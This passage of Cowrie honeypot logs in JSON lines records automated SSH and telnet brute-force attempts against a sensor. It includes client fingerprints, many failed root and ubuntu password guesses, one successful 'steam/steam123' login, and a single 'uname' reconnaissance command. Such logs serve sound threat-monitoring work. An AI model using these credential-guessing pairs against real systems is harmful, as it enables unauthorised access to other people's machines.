{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:25.890973Z","src_ip":"91.92.42.227","session":"cc71d03a1cd9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:26.325280Z","src_ip":"91.92.42.227","session":"c3f02ae48a64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:26.353314Z","src_ip":"91.92.42.227","session":"c3f02ae48a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:30.875054Z","src_ip":"91.92.42.227","session":"c3f02ae48a64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46140,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed1403b5d5ab","protocol":"ssh","message":"New connection: 91.92.42.227:46140 (10.17.0.5:22) [session: ed1403b5d5ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:32.038227Z"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:32.922546Z","src_ip":"91.92.42.227","session":"c3f02ae48a64","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:32.988551Z","src_ip":"91.92.42.227","session":"ed1403b5d5ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:32.992074Z","src_ip":"91.92.42.227","session":"ed1403b5d5ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46188,"dst_ip":"10.17.0.5","dst_port":22,"session":"b45a37cf78f1","protocol":"ssh","message":"New connection: 91.92.42.227:46188 (10.17.0.5:22) [session: b45a37cf78f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:38.508497Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:38.798877Z","src_ip":"91.92.42.227","session":"ed1403b5d5ab","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:39.826941Z","src_ip":"91.92.42.227","session":"b45a37cf78f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:39.829723Z","src_ip":"91.92.42.227","session":"b45a37cf78f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":38562,"dst_ip":"159.203.135.109","dst_port":22,"session":"510f512c364d","protocol":"ssh","message":"New connection: 176.32.39.21:38562 (159.203.135.109:22) [session: 510f512c364d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:40.167905Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:41.757048Z","src_ip":"91.92.42.227","session":"ed1403b5d5ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:41.759614Z","src_ip":"91.92.42.227","session":"ed1403b5d5ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.6","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:43.348489Z","src_ip":"91.92.42.227","session":"ed1403b5d5ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:43.353241Z","src_ip":"91.92.42.227","session":"ed1403b5d5ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345678","message":"login attempt [test/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:45.056881Z","src_ip":"91.92.42.227","session":"b45a37cf78f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.58539009094238,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:45.360512Z","src_ip":"94.23.66.112","session":"df2c13960d53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:46.764266Z","src_ip":"91.92.42.227","session":"b45a37cf78f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55252,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d02bf37cf86","protocol":"ssh","message":"New connection: 91.92.42.227:55252 (10.17.0.5:22) [session: 8d02bf37cf86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:47.644105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:48.147679Z","src_ip":"91.92.42.227","session":"8d02bf37cf86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:48.218972Z","src_ip":"91.92.42.227","session":"8d02bf37cf86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":51598,"dst_ip":"159.203.135.109","dst_port":23,"session":"6828fe5a9afc","protocol":"telnet","message":"New connection: 107.6.151.170:51598 (159.203.135.109:23) [session: 6828fe5a9afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:50.445503Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"rootroot","message":"login attempt [ubuntu/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:50.995273Z","src_ip":"91.92.42.227","session":"8d02bf37cf86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:52.370862Z","src_ip":"91.92.42.227","session":"8d02bf37cf86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58238,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3365ffb1f07","protocol":"ssh","message":"New connection: 91.92.42.227:58238 (10.17.0.5:22) [session: a3365ffb1f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:56.220940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:56.321158Z","src_ip":"91.92.42.227","session":"a3365ffb1f07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:56.324519Z","src_ip":"91.92.42.227","session":"a3365ffb1f07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:56.905710Z","src_ip":"91.92.42.227","session":"a3365ffb1f07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.93309044837952,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:56.944360Z","src_ip":"128.199.8.54","session":"f1e1dd3b5822","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:58.101663Z","src_ip":"91.92.42.227","session":"a3365ffb1f07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.068795919418335,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:59.077521Z","src_ip":"107.6.151.170","session":"9510c5f697a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40276,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f73893d625a","protocol":"ssh","message":"New connection: 168.167.228.74:40276 (159.203.135.109:22) [session: 0f73893d625a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:59.082009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:59.085625Z","src_ip":"168.167.228.74","session":"0f73893d625a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:07:59.332553Z","src_ip":"168.167.228.74","session":"0f73893d625a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu_2025","message":"login attempt [ubuntu/ubuntu_2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:00.358931Z","src_ip":"168.167.228.74","session":"0f73893d625a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:01.613607Z","src_ip":"168.167.228.74","session":"0f73893d625a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58294,"dst_ip":"10.17.0.5","dst_port":22,"session":"e01980a1a896","protocol":"ssh","message":"New connection: 91.92.42.227:58294 (10.17.0.5:22) [session: e01980a1a896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:02.955677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:03.292284Z","src_ip":"91.92.42.227","session":"e01980a1a896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:03.295489Z","src_ip":"91.92.42.227","session":"e01980a1a896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:04.869135Z","src_ip":"91.92.42.227","session":"e01980a1a896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:06.351157Z","src_ip":"91.92.42.227","session":"e01980a1a896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49030,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c4dd0ff5701","protocol":"ssh","message":"New connection: 91.92.42.227:49030 (10.17.0.5:22) [session: 5c4dd0ff5701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:10.428745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:08:10.738771Z","src_ip":"91.92.42.227","session":"5c4dd0ff5701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sh